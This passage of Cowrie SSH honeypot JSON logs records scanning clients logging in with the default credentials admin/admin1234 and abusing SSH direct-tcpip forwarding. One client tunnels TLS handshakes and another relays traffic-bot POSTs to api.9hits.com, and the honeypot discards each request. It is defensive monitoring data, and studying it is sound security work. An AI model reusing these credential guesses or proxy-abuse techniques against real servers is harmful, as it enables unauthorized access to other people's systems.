\\x08\\xfd\\xf9\\xfd\\x17\\xda\\xb3)\\x9eM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\xc7\\xf9\\x05u\\xbf\\x19\\xf6\\x95-\\xf5\\x18\\xbc\\x8cm\\xd1\\x14b7\\xcbl\\x85\\xb6\\xf9\\xbd`\\xdd\\x9b\\x95V\\xadT \\x98\"z9\\xedN\\xa2\\xe3\\x16QT\\x01\\x06\\xac\\xd2NG\\x04\\xa0\\x03\\x85\\xd1\\x91\\xed\\xa2:\\xdc u\\x03\\x97P\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x1e\\xa4\\x9d9\\xb2\\x1d\\x8b\\x90\\'\\xd5\\x87\\xefa)\\xd9\\x01\\xdb\\x17\\xfb\\xec \\x08\\xfd\\xf9\\xfd\\x17\\xda\\xb3)\\x9eM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.793315Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:02.309087Z","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:02.369440Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03ji d\\xca\\x04?\\x03\\xe0D\\x94l<FQx\\xdal\\xc2\\x91\\xcf\\x9a\\xf9n$v\\x02\\xfd\\x802*\\x0f \\x13[\\xc2\\xfcQ\\xe8\\x96\\xdan5l\\x91\\x01\\xdd\\x04\\xee<`\\x18\\xe4\\xd0\\x0e>\\x02\\xfe.\\xe0\\x8fd\\t\\x12\\xbc\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf99\\xd7P$\\x7f\\x94!\\x980\\x8e\\xd1M\\xff\\xa3\\x86\\xf1q:9\\x17\\xf3\\x03t\\xf1\\x85\\xabjq&\\xcb0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03ji d\\xca\\x04?\\x03\\xe0D\\x94l<FQx\\xdal\\xc2\\x91\\xcf\\x9a\\xf9n$v\\x02\\xfd\\x802*\\x0f \\x13[\\xc2\\xfcQ\\xe8\\x96\\xdan5l\\x91\\x01\\xdd\\x04\\xee<`\\x18\\xe4\\xd0\\x0e>\\x02\\xfe.\\xe0\\x8fd\\t\\x12\\xbc\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf99\\xd7P$\\x7f\\x94!\\x980\\x8e\\xd1M\\xff\\xa3\\x86\\xf1q:9\\x17\\xf3\\x03t\\xf1\\x85\\xabjq&\\xcb0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:02.374988Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":50467,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a0b72da56a7","protocol":"ssh","message":"New connection: 63.141.242.2:50467 (10.17.0.5:22) [session: 3a0b72da56a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:11.518035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:11.522567Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:11.597924Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:13.510298Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.290614Z","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.295104Z","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.328333Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-J110F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cmZSNU9INFlYNitXN2FvQA%3D%3D00rhyyYyxfEtJ4ZI02z86p9GhYNEnaiThTOFSCVGieRC3tA1FYIgfFiiLGf%2Frg83wAelVpue9BX25zYtzL5fe%2Ft1n29XMGfaKCnOctHuY4QxvsORMuHnqUgXdrpwBEMaOwlnd2rdA3asQygwSevkWaIYUCAGc6h1AVMRxJoGDODtQrUHZVVD9qiAlZe0RndokGYqsDRVItKNLZPDFIpXjlQkLf5fqJFqBY157pCL7Zn9x9cphibX8Q0iv75c7zyKW9Z6BX8vH0z4UfesGMtr9a77wIaGCYgm2YfNo5TBLP%2FNLHHrrf9MR8B3ds0zLSUALi4vrJWsKjDHzx3%2FvmNhp61hiaO%2Bn%2FuW86Y2dxSuk02WDTTuqwFyT%2Bh4ArWw5ztDQGakvVCSddxqEod0CPnTfQhnfcHD5%2FzBN5g0o5nFNO75zfe92dwFSIo6psimyvITsNssP2G%2BIT9%2B5M7%2F7YSRDPw1uPora7I3WNTnAEwmbEHVWzXBtsOhem8u5f9VvAwacX%2FIFgfencLlr0XH4lZIc7EaQQgZPorg9x2on2ebxgP9h1hdkdMmL4P0z6u%2BjsJB%2FBCjdbmPEx952SmTjeR9L%2FZ1ZuWxRk4S%2BGwW1QI92vD22SDwVaL898XicJetn%2BZ0F9%2BF4hHlIfZt5AYmOiFmrcCGk9lK%2Babym9UlMzt%2BpSgovWOWZX4xpp4V0J0RastsjfaO50VdrGoS7qQm2vBKciysIl7Ni5otz8OJF0jW2ukkMxIWjM%2FzkojPzMgsXCk4eBf9ZJlObhsjaUMPS67kP8ebCQvloBY%2BjbRaxHft%2FhU5IJ%2FU1PsXBhciThs8nwPlhtiwwRA7gU7dhT1dFmxgwi75DyWFybHX%2FpAZN5z9%2FA%2Fmq2HOML9rq7jPrtHrDT3LkcAvkjGNrqQpCq6OSLwDuIVrPtYBh0V8XZCwiw8BBAYtGX%2FDOpdxdgKx8zAfWJOAdYslyEFcOI56D47zX6rnAhhKiOGwwvG%2FwYM65ZCQNcf%2F3IpiTTnOXplKbLLFzbVT8gVC%2BTWzsM%2Fj8Kw8oY1JU7ps0oJjHzL%2F536POUVFPVk%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-J110F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cmZSNU9INFlYNitXN2FvQA%3D%3D00rhyyYyxfEtJ4ZI02z86p9GhYNEnaiThTOFSCVGieRC3tA1FYIgfFiiLGf%2Frg83wAelVpue9BX25zYtzL5fe%2Ft1n29XMGfaKCnOctHuY4QxvsORMuHnqUgXdrpwBEMaOwlnd2rdA3asQygwSevkWaIYUCAGc6h1AVMRxJoGDODtQrUHZVVD9qiAlZe0RndokGYqsDRVItKNLZPDFIpXjlQkLf5fqJFqBY157pCL7Zn9x9cphibX8Q0iv75c7zyKW9Z6BX8vH0z4UfesGMtr9a77wIaGCYgm2YfNo5TBLP%2FNLHHrrf9MR8B3ds0zLSUALi4vrJWsKjDHzx3%2FvmNhp61hiaO%2Bn%2FuW86Y2dxSuk02WDTTuqwFyT%2Bh4ArWw5ztDQGakvVCSddxqEod0CPnTfQhnfcHD5%2FzBN5g0o5nFNO75zfe92dwFSIo6psimyvITsNssP2G%2BIT9%2B5M7%2F7YSRDPw1uPora7I3WNTnAEwmbEHVWzXBtsOhem8u5f9VvAwacX%2FIFgfencLlr0XH4lZIc7EaQQgZPorg9x2on2ebxgP9h1hdkdMmL4P0z6u%2BjsJB%2FBCjdbmPEx952SmTjeR9L%2FZ1ZuWxRk4S%2BGwW1QI92vD22SDwVaL898XicJetn%2BZ0F9%2BF4hHlIfZt5AYmOiFmrcCGk9lK%2Babym9UlMzt%2BpSgovWOWZX4xpp4V0J0RastsjfaO50VdrGoS7qQm2vBKciysIl7Ni5otz8OJF0jW2ukkMxIWjM%2FzkojPzMgsXCk4eBf9ZJlObhsjaUMPS67kP8ebCQvloBY%2BjbRaxHft%2FhU5IJ%2FU1PsXBhciThs8nwPlhtiwwRA7gU7dhT1dFmxgwi75DyWFybHX%2FpAZN5z9%2FA%2Fmq2HOML9rq7jPrtHrDT3LkcAvkjGNrqQpCq6OSLwDuIVrPtYBh0V8XZCwiw8BBAYtGX%2FDOpdxdgKx8zAfWJOAdYslyEFcOI56D47zX6rnAhhKiOGwwvG%2FwYM65ZCQNcf%2F3IpiTTnOXplKbLLFzbVT8gVC%2BTWzsM%2Fj8Kw8oY1JU7ps0oJjHzL%2F536POUVFPVk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.331659Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.572662Z","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.611792Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4]\\x9c\\x0eD\\x8a\\xec\\xec\\xac\\xa1\\x98\\x05\\xeb\\x9e\\xa0\\xab\\xa9\\x94IRG\\xffKb\\x8d(J\\xc8\\xbac2h \\x93\\x02\\xc1\\x84\\xdbU\\x86\\x86:M\\xa0Z\\x12\\x87I\\xb4\"\\x93\\xb5UG\\xe4m\\xd2\\x16\\xcb\\xf1C\\xa1Ux\\xc2\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\fU\\xea\\x1b\\xcc\\x9fp)P\\x1b\\x8a\\xaf\\xec\\x1cg\\x17\\xde%\\xbe\\x04CG\\xf8\\xeb\\\\\\xde\\xac\\xd2)Ag\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\